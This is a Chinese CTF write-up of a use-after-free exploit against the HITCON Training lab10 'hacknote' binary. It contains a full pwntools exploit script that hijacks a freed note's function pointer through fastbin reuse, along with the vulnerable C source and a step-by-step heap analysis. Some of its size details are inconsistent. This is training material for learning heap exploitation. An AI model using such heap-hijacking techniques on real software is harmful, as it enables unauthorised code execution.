UAF 漏洞,英文原名use after free,该漏洞简洁的可以概括为
一 前言
首先我们以一道题来介绍一下UAF,这里选用hitcon training lab10 作为例子,源码太多,占篇幅,试题、源码详情请见 https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10 中的c语言文件。
这里先直接附上exp,网上大部分exp都差不多,但是有两个疑点我得提一下:
from pwn import * r = process('./hacknote') def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) #gdb.attach(r) magic = 0x08048986 addnote(32, "aaaa") # add note 0 addnote(32, "ddaa") # add note 1 delnote(0) # delete note 0 delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive()
对于疑点1
我看了大部分博客,都没有给出magic地址从哪来,这里有个法子弄到这个地址:
看到pdisas这个神奇的反汇编指令了咩,第一行地址就是magic的开始地址,这里我也尝试了一下下断点到magic函数,即b magic,然后你看到,这个断点是在上面汇编显示的地址的第四行,我们来看看其他的函数:add_note
所以你可以看到,gdb中的下断点一般是下在开栈的地址。
对于疑点2
下面我会细细讨论
二 分析
下面我们再来一步步分析程序:
按这篇文章开头的几个步骤来寻找
0x00 结构体定义如下
struct note { void (*printnote)(); char *content ; };
note在不写入content的情况下是16字节,void占4字节,char因字节对齐占4字节,加上一个8字节头部
0x01 首先是分配内存,整个程序具备这个功能的就是add_note
void add_note(){ int i ; char buf[8]; int size ; if(count > 5){ puts("Full"); return ; } for(i = 0 ; i < 5 ; i ++){ if(!notelist[i]){ notelist[i] = (struct note*)malloc(sizeof(struct note)); if(!notelist[i]){ puts("Alloca Error"); exit(-1); } notelist[i]->printnote = print_note_content; printf("Note size :"); read(0,buf,8); size = atoi(buf); notelist[i]->content = (char *)malloc(size); if(!notelist[i]->content){ puts("Alloca Error"); exit(-1); } printf("Content :"); read(0,notelist[i]->content,size); puts("Success !"); count++; break; } } }
1、从第9行可以得知只能创建5个note
2、之后按照notelist的结构体大小创建note,再按照输入的大小为content申请内存,总体结构正如ctf wiki上的结构图
0x02 释放内存,整个代码中del_note具备释放内存功能
void del_note(){ char buf[4]; int idx ; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= count){ puts("Out of bound!"); _exit(0); } if(notelist[idx]){ free(notelist[idx]->content); free(notelist[idx]); puts("Success"); } }
也就是第12、13行,先free content,再free notelist的头。
0x03 可利用执行函数magic
void magic(){ system("cat /home/hacknote/flag"); }
0x04 利用
因为我们要把第一次分配的内存释放然后第二次分配同样大小的内存进行复用,那么可以构造利用链:
add_note()-> add_note()-> delete_note()-> delete_note()-> add_note()
换句话说,分配和释放将按照此结构进行
malloc(0x20)-> malloc(0x20)-> free(0x8)-> free(0x20)-> free(0x8)-> free(0x20)-> malloc(0x8)-> malloc(0x8)
那么我们来介绍一下这个到底是做撒子
我们利用的是fastbin回收的不合并性,我要将put函数指针指向magic函数的地址。
fastbin如上图,0x10表示16字节,0x18表示24字节,0x20表示32字节,以此类推。每次分配完释放回收后将会放在对应的大小行上。
现在我知道的有:
1、notelist 的每个初始大小为16字节,对应fastbin的第一行,即0x10
2、那么如果我们要劫持put函数执行流,那么我们就需要构造一个8字节的content,这样加上头才能变成16字节,才有可能分配到put
3、我们可控的地方只有content部分,可以控制content部分的大小和值,因此我们只能在content中输入magic函数地址的值
因此我们设想:
(1)如果我们构造一个note0,content大小为32,然后,free,再者继续创建一个note1,content大小为8(为了劫持put,须与出是头部分配内存相同),但是note1的头大小也是8,那么回收note0后fastbin结构就变成
0x10: note0_head
0x18: 0x0
0x20: note0_content
。。。。。。
然后note1_head就直接分配到了note0_head ,我寻思着note1_head也有put,那么直接用就好了噻,于是我就把note1_content改为magic函数地址,然后print_note(1),也能成功。
注意:然而,使用note1的put仅仅只是将指针指向magic函数,note1_head分配到了释放的内存,但是note1_content没有分配到释放的内存,因此其未对释放后再分配的内存进行修改,是直接利用,而不是释放再利用(UAF)
(2)那么创建1个虽然行,但是不能算是UAF,那就用两个。因为fastbin是FILO,先进后出嘛,形象一点,看下图,头是note0_head,后面接上note1_head,然后取出来的时候从尾巴开始取,就是先取note1_head
0x10: note1_head -> note0_head
0x18: 0x0
0x20: 0x0
............
我们构造两个note再释放后,fastbin如下(content的大小我设为24):
0x10: note1_head -> note0_head
0x18: note1_content -> note0_head
0x20: 0x0
...........
紧接着我们创建note2,因为note2_head也要分配0x10行的内存块嘛,所以,在note2_head分配完(取出)note1_head后,还剩下note0_head, 那么note2_content大小设置为8,就可以分配到note0_head啦
三 总结
正确的此题做题流程为:静态审计源码,构造思路,动态调试找地址,编写exp
UAF漏洞:利用内存分配的特性操作分配的已释放使用过的内存块